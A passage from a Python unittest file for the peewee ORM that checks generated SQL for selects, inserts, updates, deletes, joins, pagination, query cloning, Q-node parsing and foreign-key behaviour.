`title` ASC', [])) sq = MoreModel.select().order_by() self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title`, `created` FROM `moremodel`', [])) def test_insert(self): iq = InsertQuery(Blog, title='a') self.assertSQLEqual(iq.sql(), ('INSERT INTO `blog` (`title`) VALUES (?)', ['a'])) def test_update_with_q(self): uq = UpdateQuery(Blog, title='A').where(Q(id=1)) self.assertSQLEqual(uq.sql(), ('UPDATE `blog` SET `title`=? WHERE `id` = ?', ['A', 1])) uq = UpdateQuery(Blog, title='A').where(Q(id=1) | Q(id=3)) self.assertSQLEqual(uq.sql(), ('UPDATE `blog` SET `title`=? WHERE (`id` = ? OR `id` = ?)', ['A', 1, 3])) def test_update_with_f(self): uq = UpdateQuery(Entry, blog_id=F('blog_id') + 1).where(pk=1) self.assertSQLEqual(uq.sql(), ('UPDATE `entry` SET `blog_id`=(`blog_id` + 1) WHERE `pk` = ?', [1])) uq = UpdateQuery(Entry, blog_id=F('blog_id') - 10, title='updated').where(pk=2) self.assertSQLEqual(uq.sql(), ('UPDATE `entry` SET `blog_id`=(`blog_id` - 10), `title`=? WHERE `pk` = ?', ['updated', 2])) def test_delete(self): dq = DeleteQuery(Blog).where(title='b') self.assertSQLEqual(dq.sql(), ('DELETE FROM `blog` WHERE `title` = ?', ['b'])) dq = DeleteQuery(Blog).where(Q(title='b') | Q(title='a')) self.assertSQLEqual(dq.sql(), ('DELETE FROM `blog` WHERE (`title` = ? OR `title` = ?)', ['b', 'a'])) def test_readme_example(self): class U(TestModel): active = BooleanField() class Tweet(TestModel): pub_date = DateTimeField() u = ForeignKeyField(U) today = datetime.datetime.today() sq = Tweet.select().join(U).where( (Tweet.pub_date >= today) & (U.active == True) ) self.assertSQLEqual(sq.sql(), ( 'SELECT t1.`id`, t1.`pub_date`, t1.`u_id` FROM `tweet` AS t1 INNER JOIN `u` AS t2 ON t1.`u_id` = t2.`id` WHERE (t1.`pub_date` >= ? AND t2.`active` = ?)', [today, True] )) class ModelTestCase(BaseModelTestCase): def test_insert(self): iq = InsertQuery(Blog, title='a') self.assertSQLEqual(iq.sql(), ('INSERT INTO `blog` (`title`) VALUES (?)', ['a'])) self.assertEqual(iq.execute(), 1) iq = InsertQuery(Blog, title='b') self.assertSQLEqual(iq.sql(), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b'])) self.assertEqual(iq.execute(), 2) # test inserting with defaults, references #107 iq = User.insert(username='foo') self.assertSQLEqual(iq.sql(), ('INSERT INTO `users` (`active`,`username`) VALUES (?,?)', [False, 'foo'])) iq = InsertQuery(User, username='foo') self.assertSQLEqual(iq.sql(), ('INSERT INTO `users` (`active`,`username`) VALUES (?,?)', [False, 'foo'])) def test_update(self): iq = InsertQuery(Blog, title='a').execute() uq = UpdateQuery(Blog, title='A').where(id=1) self.assertSQLEqual(uq.sql(), ('UPDATE `blog` SET `title`=? WHERE `id` = ?', ['A', 1])) self.assertEqual(uq.execute(), 1) iq2 = InsertQuery(Blog, title='b').execute() uq = UpdateQuery(Blog, title='B').where(id=2) self.assertSQLEqual(uq.sql(), ('UPDATE `blog` SET `title`=? WHERE `id` = ?', ['B', 2])) self.assertEqual(uq.execute(), 1) sq = SelectQuery(Blog).order_by('id') self.assertEqual([x.title for x in sq], ['A', 'B']) def test_delete(self): InsertQuery(Blog, title='a').execute() InsertQuery(Blog, title='b').execute() InsertQuery(Blog, title='c').execute() dq = DeleteQuery(Blog).where(title='b') self.assertSQLEqual(dq.sql(), ('DELETE FROM `blog` WHERE `title` = ?', ['b'])) self.assertEqual(dq.execute(), 1) sq = SelectQuery(Blog).order_by('id') self.assertEqual([x.title for x in sq], ['a', 'c']) dq = DeleteQuery(Blog) self.assertSQLEqual(dq.sql(), ('DELETE FROM `blog`', [])) self.assertEqual(dq.execute(), 2) sq = SelectQuery(Blog).order_by('id') self.assertEqual([x.title for x in sq], []) def test_count(self): for i in xrange(10): self.create_blog(title='a%d' % i) count = SelectQuery(Blog).count() self.assertEqual(count, 10) count = Blog.select().count() self.assertEqual(count, 10) for blog in list(SelectQuery(Blog)): for i in xrange(20): self.create_entry(title='entry%d' % i, blog=blog) count = SelectQuery(Entry).count() self.assertEqual(count, 200) count = SelectQuery(Entry).join(Blog).where(title="a0").count() self.assertEqual(count, 20) count = SelectQuery(Entry).where( title__icontains="0" ).join(Blog).where( title="a5" ).count() self.assertEqual(count, 2) def test_count_transaction(self): for i in xrange(10): self.create_blog(title='a%d' % i) with transaction(test_db): for blog in SelectQuery(Blog): for i in xrange(20): self.create_entry(title='entry%d' % i, blog=blog) count = SelectQuery(Entry).count() self.assertEqual(count, 200) def test_count_with_joins_issue27(self): b1 = Blog.create(title='b1') b2 = Blog.create(title='b2') for b in [b1, b2]: for i in range(5): self.create_entry(title='e-%s-%s' % (b, i), blog=b) bc = Blog.select().where(title='b1').join(Entry).count() self.assertEqual(bc, 5) bc_dist = Blog.select().where(title='b1').join(Entry).distinct().count() self.assertEqual(bc_dist, 1) def test_pagination(self): base_sq = SelectQuery(Blog) sq = base_sq.paginate(1, 20) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` LIMIT 20', [])) sq = base_sq.paginate(3, 30) self.assertSQLEqual(sq.sql(), ('SELECT `id`, `title` FROM `blog` LIMIT 30 OFFSET 60', [])) def test_inner_joins(self): sql = SelectQuery(Blog).join(Entry).sql() self.assertSQLEqual(sql, ('SELECT t1.`id`, t1.`title` FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id`', [])) sql = SelectQuery(Entry).join(Blog).sql() self.assertSQLEqual(sql, ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id`', [])) def test_outer_joins(self): sql = SelectQuery(User).join(Blog).sql() self.assertSQLEqual(sql, ('SELECT t1.`id`, t1.`username`, t1.`blog_id`, t1.`active` FROM `users` AS t1 LEFT OUTER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id`', [])) sql = SelectQuery(Blog).join(User).sql() self.assertSQLEqual(sql, ('SELECT t1.`id`, t1.`title` FROM `blog` AS t1 LEFT OUTER JOIN `users` AS t2 ON t1.`id` = t2.`blog_id`', [])) def test_cloning(self): base_sq = SelectQuery(Blog) q1 = base_sq.where(title='a') q2 = base_sq.where(title='b') q1_sql = ('SELECT `id`, `title` FROM `blog` WHERE `title` = ?', ['a']) q2_sql = ('SELECT `id`, `title` FROM `blog` WHERE `title` = ?', ['b']) # where causes cloning self.assertSQLEqual(base_sq.sql(), ('SELECT `id`, `title` FROM `blog`', [])) self.assertSQLEqual(q1.sql(), q1_sql) self.assertSQLEqual(q2.sql(), q2_sql) q3 = q1.join(Entry) q3_sql = ('SELECT t1.`id`, t1.`title` FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` WHERE t1.`title` = ?', ['a']) # join causes cloning self.assertSQLEqual(q3.sql(), q3_sql) self.assertSQLEqual(q1.sql(), q1_sql) q4 = q1.order_by('title') q5 = q3.order_by('title') q4_sql = ('SELECT `id`, `title` FROM `blog` WHERE `title` = ? ORDER BY `title` ASC', ['a']) q5_sql = ('SELECT t1.`id`, t1.`title` FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` WHERE t1.`title` = ? ORDER BY t2.`title` ASC', ['a']) # order_by causes cloning self.assertSQLEqual(q3.sql(), q3_sql) self.assertSQLEqual(q1.sql(), q1_sql) self.assertSQLEqual(q4.sql(), q4_sql) self.assertSQLEqual(q5.sql(), q5_sql) q6 = q1.paginate(1, 10) q7 = q4.paginate(2, 10) q6_sql = ('SELECT `id`, `title` FROM `blog` WHERE `title` = ? LIMIT 10', ['a']) q7_sql = ('SELECT `id`, `title` FROM `blog` WHERE `title` = ? ORDER BY `title` ASC LIMIT 10 OFFSET 10', ['a']) self.assertSQLEqual(q6.sql(), q6_sql) self.assertSQLEqual(q7.sql(), q7_sql) def test_multi_joins(self): sq = Entry.select().join(Blog).where(title='b1').switch(Entry).join(EntryTag).where(tag='t1') self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `blog` AS t2 ON t1.`blog_id` = t2.`id`\nINNER JOIN `entrytag` AS t3 ON t1.`pk` = t3.`entry_id` WHERE t2.`title` = ? AND t3.`tag` = ?', ['b1', 't1'])) sq = Entry.select().join(EntryTag).where(tag='t1').switch(Entry).join(Blog).where(title='b1') self.assertSQLEqual(sq.sql(), ('SELECT t1.`pk`, t1.`title`, t1.`content`, t1.`pub_date`, t1.`blog_id` FROM `entry` AS t1 INNER JOIN `entrytag` AS t2 ON t1.`pk` = t2.`entry_id`\nINNER JOIN `blog` AS t3 ON t1.`blog_id` = t3.`id` WHERE t2.`tag` = ? AND t3.`title` = ?', ['t1', 'b1'])) class ModelTests(BaseModelTestCase): def test_model_save(self): a = self.create_blog(title='a') self.assertEqual(a.id, 1) b = self.create_blog(title='b') self.assertEqual(b.id, 2) a.save() b.save() self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b']), ('UPDATE `blog` SET `title`=? WHERE `id` = ?', ['a', 1]), ('UPDATE `blog` SET `title`=? WHERE `id` = ?', ['b', 2]), ]) all_blogs = list(Blog.select().order_by('id')) self.assertEqual(all_blogs, [a, b]) def test_model_get(self): a = self.create_blog(title='a') b = self.create_blog(title='b') b2 = Blog.get(title='b') self.assertEqual(b2.id, b.id) self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b']), ('SELECT `id`, `title` FROM `blog` WHERE `title` = ? LIMIT 1', ['b']), ]) def test_select_with_get(self): a = self.create_blog(title='a') b = self.create_blog(title='b') blogs = Blog.filter(title='a') blog = blogs.get() self.assertEqual(blog, a) def test_model_get_with_q(self): a = self.create_blog(title='a') b = self.create_blog(title='b') b2 = Blog.get(Q(title='b') | Q(title='c')) self.assertEqual(b2.id, b.id) self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b']), ('SELECT `id`, `title` FROM `blog` WHERE (`title` = ? OR `title` = ?) LIMIT 1', ['b', 'c']), ]) def test_model_raw(self): a = self.create_blog(title='a') b = self.create_blog(title='b') c = self.create_blog(title='c') qr = Blog.raw('SELECT id, title FROM blog ORDER BY title ASC') self.assertEqual(list(qr), [a, b, c]) qr = Blog.raw('SELECT id, title FROM blog WHERE title IN (%s, %s) ORDER BY title DESC' % (interpolation, interpolation), 'a', 'c') self.assertEqual(list(qr), [c, a]) # create a couple entires for blog a a1 = self.create_entry(title='a1', blog=a) a2 = self.create_entry(title='a2', blog=a) # create a couple entries for blog c c1 = self.create_entry(title='c1', blog=c) c2 = self.create_entry(title='c2', blog=c) c3 = self.create_entry(title='c3', blog=c) qr = Blog.raw(""" SELECT b.*, COUNT(e.pk) AS count FROM blog AS b LEFT OUTER JOIN entry AS e ON e.blog_id = b.id GROUP BY b.id, b.title ORDER BY count DESC """) results = list(qr) self.assertEqual(results, [c, a, b]) self.assertEqual(results[0].count, 3) self.assertEqual(results[0].title, 'c') self.assertEqual(results[1].count, 2) self.assertEqual(results[1].title, 'a') self.assertEqual(results[2].count, 0) self.assertEqual(results[2].title, 'b') def test_model_select(self): a = self.create_blog(title='a') b = self.create_blog(title='b') c = self.create_blog(title='c') qr = Blog.select().order_by('title') self.assertEqual(list(qr), [a, b, c]) qr = Blog.select().where(title__in=['a', 'c']).order_by(desc('title')) self.assertEqual(list(qr), [c, a]) self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['c']), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` ASC', []), ('SELECT `id`, `title` FROM `blog` WHERE `title` IN (?,?) ORDER BY `title` DESC', ['a', 'c']), ]) def test_query_cloning(self): a = self.create_blog(title='a') b = self.create_blog(title='b') c = self.create_blog(title='c') blog_qr = Blog.select() rev_ordered = blog_qr.order_by(desc('title')) ordered = blog_qr.order_by('title') rev_filtered = rev_ordered.where(title__in=['a', 'b']) filtered = ordered.where(title__in=['b', 'c']) self.assertEqual(list(rev_filtered), [b, a]) self.assertEqual(list(filtered), [b, c]) more_filtered = filtered.where(title='b') self.assertEqual(list(more_filtered), [b]) def test_model_select_with_q(self): a = self.create_blog(title='a') b = self.create_blog(title='b') qr = Blog.select().where(Q(title='a') | Q(title='b')) self.assertEqual(list(qr), [a, b]) qr = Blog.select().where(Q(title__in=['a']) | Q(title__in=['c', 'd'])) self.assertEqual(list(qr), [a]) self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b']), ('SELECT `id`, `title` FROM `blog` WHERE (`title` = ? OR `title` = ?)', ['a', 'b']), ('SELECT `id`, `title` FROM `blog` WHERE (`title` IN (?) OR `title` IN (?,?))', ['a', 'c', 'd']), ]) def test_model_select_with_get(self): a = self.create_blog(title='a') b = self.create_blog(title='b') c = self.create_blog(title='c') obj = Blog.select().get(title='a') self.assertEqual(obj, a) obj = Blog.select().where(title__in=['a', 'b']).get(title='b') self.assertEqual(obj, b) self.assertRaises(Blog.DoesNotExist, Blog.select().where(title__in=['a', 'b']).get, title='c') def test_model_select_with_get_and_joins(self): a = self.create_blog(title='a') b = self.create_blog(title='b') e1 = self.create_entry(blog=a, title='t1') e2 = self.create_entry(blog=a, title='t2') e3 = self.create_entry(blog=b, title='t3') a_entries = Entry.select().join(Blog).where(title='a') obj = a_entries.get(title='t1') self.assertEqual(obj, e1) self.assertEqual(a_entries.query_context, Blog) obj = a_entries.get(title='t2') self.assertEqual(obj, e2) self.assertEqual(a_entries.query_context, Blog) self.assertRaises(Entry.DoesNotExist, a_entries.get, title='t3') self.assertEqual(a_entries.query_context, Blog) def test_exists(self): self.assertFalse(Blog.select().exists()) a = self.create_blog(title='a') b = self.create_blog(title='b') self.assertTrue(Blog.select().exists()) self.assertTrue(Blog.select().where(title='a').exists()) self.assertFalse(Blog.select().where(title='c').exists()) def test_exists_with_join(self): self.assertFalse(Blog.select().join(Entry).exists()) a = self.create_blog(title='a') b = self.create_blog(title='b') e1 = self.create_entry(blog=a, title='t1') e2 = self.create_entry(blog=a, title='t2') a_entries = Entry.select().join(Blog).where(title='a') b_entries = Entry.select().join(Blog).where(title='b') self.assertTrue(a_entries.exists()) self.assertFalse(b_entries.exists()) self.assertTrue(a_entries.switch(Entry).where(title='t1').exists()) self.assertFalse(a_entries.switch(Entry).where(title='t3').exists()) def test_query_results_wrapper(self): a = self.create_blog(title='a') b = self.create_blog(title='b') qr = Blog.select().order_by('title').execute() self.assertFalse(qr._populated) blogs = [b for b in qr] self.assertEqual(blogs, [a, b]) self.assertTrue(qr._populated) self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b']), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` ASC', []), ]) blogs = [b for b in qr] self.assertEqual(blogs, [a, b]) self.assertEqual(len(self.queries()), 3) blogs = [b for b in qr] self.assertEqual(blogs, [a, b]) self.assertEqual(len(self.queries()), 3) def test_select_caching(self): a = self.create_blog(title='a') b = self.create_blog(title='b') sq = Blog.select().order_by('title') blogs = [b for b in sq] self.assertEqual(blogs, [a, b]) self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b']), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` ASC', []), ]) # iterating again does not cause evaluation blogs = [b for b in sq] self.assertEqual(blogs, [a, b]) blogs = [b for b in sq] self.assertEqual(blogs, [a, b]) # still only 3 queries self.assertEqual(len(self.queries()), 3) # clone the query clone = sq.clone() # the query will be marked dirty and re-evaluated blogs = [b for b in clone] self.assertEqual(blogs, [a, b]) self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b']), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` ASC', []), ('SELECT `id`, `title` FROM `blog` ORDER BY `title` ASC', []), ]) # iterate over the original query - it will use the cached results blogs = [b for b in sq] self.assertEqual(blogs, [a, b]) self.assertEqual(len(self.queries()), 4) def test_create(self): u = User.create(username='a') self.assertEqual(u.username, 'a') self.assertQueriesEqual([ ('INSERT INTO `users` (`active`,`blog_id`,`username`) VALUES (?,?,?)', [False, None, 'a']), ]) b = Blog.create(title='b blog') u2 = User.create(username='b', blog=b) self.assertEqual(u2.blog, b) self.assertQueriesEqual([ ('INSERT INTO `users` (`active`,`blog_id`,`username`) VALUES (?,?,?)', [False, None, 'a']), ('INSERT INTO `blog` (`title`) VALUES (?)', ['b blog']), ('INSERT INTO `users` (`active`,`blog_id`,`username`) VALUES (?,?,?)', [False, b.id, 'b']), ]) def test_get_raises_does_not_exist(self): self.assertRaises(User.DoesNotExist, User.get, username='a') def test_get_or_create(self): u = User.get_or_create(username='a') self.assertEqual(u.username, 'a') self.assertQueriesEqual([ ('SELECT `id`, `username`, `blog_id`, `active` FROM `users` WHERE `username` = ? LIMIT 1', ['a']), ('INSERT INTO `users` (`active`,`blog_id`,`username`) VALUES (?,?,?)', [False, None, 'a']), ]) other_u = User.get_or_create(username='a') self.assertEqual(len(self.queries()), 3) self.assertEqual(other_u.id, u.id) self.assertEqual(User.select().count(), 1) self.assertEqual(len(self.queries()), 4) b = Blog.create(title='b blog') self.assertEqual(len(self.queries()), 5) u2 = User.get_or_create(username='b', blog=b) self.assertEqual(u2.blog, b) self.assertEqual(len(self.queries()), 7) other_u2 = User.get_or_create(username='b', blog=b) self.assertEqual(len(self.queries()), 8) self.assertEqual(User.select().count(), 2) def test_prepared_hook(self): b = self.create_blog(title='b1') e1 = Entry.create(title='e1', blog=b) e2 = Entry.create(title='e2', blog=b) self.assertFalse(e1._prepared) self.assertFalse(e2._prepared) e = Entry.get(title='e1') self.assertTrue(e._prepared) for e in Entry.select(): self.assertTrue(e._prepared) for e in Entry.filter(): self.assertTrue(e._prepared) for e in Entry.raw('select * from entry'): self.assertTrue(e._prepared) def test_get_pks(self): b = self.create_blog(title='b1') self.assertEqual(b.get_pk_dict(), {'id': b.get_pk()}) self.assertFalse(b.get_pk_dict()['id'] == None) class UnicodeFieldTests(BaseModelTestCase): def get_common_objects(self): a = self.create_blog(title=u'Lรฝรฐveldiรฐ รsland') e = self.create_entry(title=u'Hergรฉ', content=u'Jรถkull', blog=a) return a, e def test_unicode_value(self): a, e = self.get_common_objects() a.refresh('title') e1 = Entry.get(pk=e.pk) self.assertEqual(a.title, u'Lรฝรฐveldiรฐ รsland') self.assertEqual(e1.content, u'Jรถkull') def test_unicode_lookup(self): a, e = self.get_common_objects() a1 = Blog.get(title=u'Lรฝรฐveldiรฐ รsland') self.assertEqual(a1.title, a.title) def test_model_eq_ne(self): b1 = Blog.create(title='b1') b1_2 = Blog.get(id=b1.id) b2 = Blog.create(title='b2') b3 = Blog() b4 = Blog() self.assertTrue(b1 == b1) self.assertTrue(b1 == b1_2) self.assertFalse(b1 == b2) self.assertFalse(b1 == b3) self.assertFalse(b3 == b1) self.assertFalse(b3 == b4) self.assertFalse(b1 != b1) self.assertFalse(b1 != b1_2) self.assertTrue(b1 != b2) self.assertTrue(b1 != b3) self.assertTrue(b3 != b1) self.assertTrue(b3 != b4) class NodeTests(BasePeeweeTestCase): def test_simple(self): node = Q(a='A') | Q(b='B') self.assertEqual(unicode(node), 'a = A OR b = B') node = parseq(None, Q(a='A') | Q(b='B')) self.assertEqual(unicode(node), '(a = A OR b = B)') node = Q(a='A') & Q(b='B') self.assertEqual(unicode(node), 'a = A AND b = B') node = parseq(None, Q(a='A') & Q(b='B')) self.assertEqual(unicode(node), '(a = A AND b = B)') def test_kwargs(self): node = parseq(None, a='A', b='B') self.assertEqual(unicode(node), '(a = A AND b = B)') def test_mixed(self): node = parseq(None, Q(a='A'), Q(b='B'), c='C', d='D') self.assertEqual(unicode(node), 'a = A AND b = B AND (c = C AND d = D)') node = parseq(None, (Q(a='A') & Q(b='B')), c='C', d='D') self.assertEqual(unicode(node), '(c = C AND d = D) AND (a = A AND b = B)') node = parseq(None, (Q(a='A') | Q(b='B')), c='C', d='D') self.assertEqual(unicode(node), '(c = C AND d = D) AND (a = A OR b = B)') def test_nesting(self): node = parseq(None, (Q(a='A') | Q(b='B')), (Q(c='C') | Q(d='D')) ) self.assertEqual(unicode(node), '(a = A OR b = B) AND (c = C OR d = D)') node = parseq(None, (Q(a='A') | Q(b='B')) & (Q(c='C') | Q(d='D')) ) self.assertEqual(unicode(node), '((a = A OR b = B) AND (c = C OR d = D))') node = parseq(None, (Q(a='A') | Q(b='B')) | (Q(c='C') | Q(d='D')) ) self.assertEqual(unicode(node), '((a = A OR b = B) OR (c = C OR d = D))') def test_weird_nesting(self): node = parseq(None, Q(a='A', b='B'), ( Q(c='C') | Q(d='D') ) ) self.assertEqual(unicode(node), '(a = A AND b = B) AND (c = C OR d = D)') node = parseq(None,( ( Q(c='C') | Q(d='D') ) | ( Q(e='E', f='F') ) ), a='A', b='B') self.assertEqual(unicode(node), '(a = A AND b = B) AND (c = C OR d = D OR (e = E AND f = F))') node = parseq(None,( ( Q(c='C') | Q(d='D') ) | ( Q(e='E', f='F') | Q(g='G', h='H') ) ), a='A', b='B') self.assertEqual(unicode(node), '(a = A AND b = B) AND ((c = C OR d = D) OR ((e = E AND f = F) OR (h = H AND g = G)))') def test_node_and_q(self): node = parseq(None, (Q(a='A') & Q(b='B')) | (Q(c='C')) ) self.assertEqual(unicode(node), '(c = C OR (a = A AND b = B))') node = parseq(None, Q(c='C') & (Q(a='A') | Q(b='B'))) self.assertEqual(unicode(node), '((c = C) AND (a = A OR b = B))') def test_field_q(self): class FU(TestModel): age = IntegerField() username = CharField() node = (FU.age >= 30) & (FU.age < 40) self.assertNodeEqual(node, Node('AND', [Q(FU, age__gte=30), Q(FU, age__lt=40)])) node = (FU.username != 'herp') | (FU.username << ['derp', 'fap']) self.assertNodeEqual(node, Node('OR', [Q(FU, username__ne='herp'), Q(FU, username__in=['derp', 'fap'])])) node = ((FU.username * 's') & (FU.username ** 'j')) | (FU.username ^ 'd') self.assertNodeEqual(node, Node('OR', [ Node('AND', [Q(FU, username__contains='s'), Q(FU, username__icontains='j')]), Q(FU, username__istartswith='d') ])) class RelatedFieldTests(BaseModelTestCase): def get_common_objects(self): a = self.create_blog(title='a') a1 = self.create_entry(title='a1', content='a1', blog=a) a2 = self.create_entry(title='a2', content='a2', blog=a) b = self.create_blog(title='b') b1 = self.create_entry(title='b1', content='b1', blog=b) b2 = self.create_entry(title='b2', content='b2', blog=b) t1 = self.create_entry_tag(tag='t1', entry=a2) t2 = self.create_entry_tag(tag='t2', entry=b2) return a, a1, a2, b, b1, b2, t1, t2 def test_fk_caching(self): a = self.create_blog(title='a') e = self.create_entry(title='e', blog=a) self.assertEqual(e.blog, a) self.assertEqual(e.blog, a) self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `entry` (`blog_id`,`content`,`pub_date`,`title`) VALUES (?,?,?,?)', [a.id, '', None, 'e']), ]) e2 = Entry.get(pk=e.pk) self.assertEqual(e2.blog, a) self.assertEqual(e2.blog, a) self.assertQueriesEqual([ ('INSERT INTO `blog` (`title`) VALUES (?)', ['a']), ('INSERT INTO `entry` (`blog_id`,`content`,`pub_date`,`title`) VALUES (?,?,?,?)', [a.id, '', None, 'e']), ('SELECT `pk`, `title`, `content`, `pub_date`, `blog_id` FROM `entry` WHERE `pk` = ? LIMIT 1', [e.pk]), ('SELECT `id`, `title` FROM `blog` WHERE `id` = ? LIMIT 1', [a.id]), ]) def test_fk_exception(self): e = Entry(title='e') self.assertRaises(Blog.DoesNotExist, getattr, e, 'blog') def test_foreign_keys(self): a, a1, a2, b, b1, b2, t1, t2 = self.get_common_objects() self.assertEqual(len(self.queries()), 8) self.assertEqual(a1.blog, a) self.assertNotEqual(a1.blog, b) self.assertEqual(a1.blog_id, a.id) self.assertEqual(b1.blog, b) self.assertEqual(b1.blog_id, b.id) self.assertEqual(t1.entry.blog, a) self.assertEqual(t2.entry.blog, b) # no queries! self.assertEqual(len(self.queries()), 8) t = EntryTag.get(id=t1.id) self.assertEqual(t.entry.blog, a) self.assertEqual(t.entry.blog, a) # just 3, tag select, entry select, blog select self.assertEqual(len(self.queries()), 11) a3 = Entry(title='a3', content='a3') a3.blog = a self.assertEqual(a3.blog, a) self.assertEqual(a3.blog_id, a.id) a3.save() self.assertEqual(a3.blog, a) self.assertEqual(a3.blog_id, a.id) a3.blog = b self.assertEqual(a3.blog, b) self.assertEqual(a3.blog_id, b.id) a3.save() self.assertEqual(a3.blog, b) self.assertEqual(a3.blog_id, b.id) def test_reverse_fk(self): a, a1, a2, b, b1, b2, t1, t2 = self.get_common_objects() self.assertEqual(list(a.entry_set), [a1, a2]) self.assertEqual(list(a.entry_set.where(title='a1')), [a1]) self.assertEqual(list(a1.entrytag_set), []) self.assertEqual(list(a2.entrytag_set), [t1]) def test_fk_querying(self): a_blog = Blog.create(title='a blog') a = User.create(username='a', blog=a_blog) b = User.create(username='b') qr = User.select().where(blog=a_blog) self.assertEqual(list(qr), [a]) def test_querying_across_joins(self): a, a1, a2, b, b1, b2, t1, t2 = self.get_common_objects() sq = Blog.select().join(Entry).join(EntryTag) t1_sq = sq.where(tag='t1') self.assertEqual(list(t1_sq), [a]) t2_sq = sq.where(tag='t2') self.assertEqual(list(t2_sq), [b]) joined_sq = Blog.select().join(Entry) sq = joined_sq.where(title='a1').join(EntryTag).where(tag='t1') self.assertEqual(list(sq), []) sq = joined_sq.where(title='a2').join(EntryTag).where(tag='t1') self.assertEqual(list(sq), [a]) et_sq = EntryTag.select().join(Entry).join(Blog) sq = et_sq.where(title='a') self.assertEqual(list(sq), [t1]) sq = et_sq.where(title='b') self.assertEqual(list(sq), [t2]) sq = EntryTag.select().join(Entry).where(title='a1').join(Blog).where(title='a') self.assertEqual(list(sq), []) sq = EntryTag.select().join(Entry).where(title='a2').join(Blog).where(title='a') self.assertEqual(list(sq), [t1]) def test_querying_across_joins_with_q(self): a, a1, a2, b, b1, b2, t1, t2 = self.get_common_objects() sq = Blog.select().join(Entry).join(EntryTag).where(Q(tag='t1') | Q(tag='t2')) self.assertEqual(list(sq), [a, b]) # permutations sq = Blog.select().join(Entry).where(Q(title='a2')).join(EntryTag).where(Q(tag='t1') | Q(tag='t2')) self.assertEqual(list(sq), [a]) sq = Blog.select().join(Entry).where(Q(title='b2')).join(EntryTag).where(Q(tag='t1') | Q(tag='t2')) self.assertEqual(list(sq), [b]) sq = Blog.select().join(Entry).where(Q(title='a2') | Q(title='b2')).join(EntryTag).where(Q(tag='t1')) self.assertEqual(list(sq), [a]) sq = Blog.select().join(Entry).where(Q(title='a2') | Q(title='b2')).join(EntryTag).where(Q(tag='t2')) self.assertEqual(list(sq), [b]) # work the other way sq = EntryTag.select().join(Entry).join(Blog).where(Q(title='a') | Q(title='b')) self.assertEqual(list(sq), [t1, t2]) sq = EntryTag.select().join(Entry).where(Q(title='a2')).join(Blog).where(Q(title='a') | Q(title='b')) self.assertEqual(list(sq), [t1]) sq = EntryTag.select().join(Entry).where(Q(title='b2')).join(Blog).where(Q(title='a') | Q(title='b')) self.assertEqual(list(sq), [t2]) sq = EntryTag.select().join(Entry).where(Q(title='a2') | Q(title='b2')).join(Blog).where(Q(title='a')) self.assertEqual(list(sq), [t1]) sq = EntryTag.select().join(Entry).where(Q(title='a2') | Q(title='b2')).join(Blog).where(Q(title='b')) self.assertEqual(list(sq), [t2]) def test_querying_joins_mixed_q(self): a, a1, a2, b, b1, b2, t1, t2 = self.get_common_objects() sq = Blog.select().join(Entry).join(EntryTag).where(Q(Blog, title='a') | Q(tag='t2')) self.assertSQL(sq, [ ('(t1.`title` = ? OR t3.`tag` = ?)', ['a', 't2']) ]) self.assertEqual(list(sq), [a, b]) sq = Blog.select().join(Entry).join(EntryTag).where(Q(Entry, title='a2') | Q(tag='t1') | Q(tag='t2')) self.assertSQL(sq, [ ('(t2.`title` = ? OR t3.`tag` = ? OR t3.`tag` = ?)', ['a2', 't1', 't2']) ]) sq = Blog.select().join(Entry).join(EntryTag).where( Q(Blog, title='b') | Q(Entry, title='a2'), Q(Entry, pk=1) | Q(EntryTag, tag='t1') | Q(tag='t2'), ) self.assertSQL(sq, [ ('(t1.`title` = ? OR t2.`title` = ?) AND (t2.`pk` = ? OR t3.`tag` = ? OR t3.`tag` = ?)', ['b', 'a2', 1, 't1', 't2']), ]) sq = Blog.select().join(Entry).where((Entry.title=='e1') | (Blog.id==99)) self.assertSQLEqual(sq.sql(), ( 'SELECT t1.`id`, t1.`title` FROM `blog` AS t1 INNER JOIN `entry` AS t2 ON t1.`id` = t2.`blog_id` WHERE (t2.`title` = ? OR t1.`id` = ?)', ['e1', 99] )) def test_filtering_across_joins(self): a, a1, a2, b, b1, b2, t1, t2 = self.get_common_objects() t1_sq = Blog.filter(entry_set__entrytag_set__tag='t1') self.assertEqual(list(t1_sq), [a]) t2_sq = Blog.filter(entry_set__entrytag_set__tag='t2') self.assertEqual(list(t2_sq), [b]) sq = 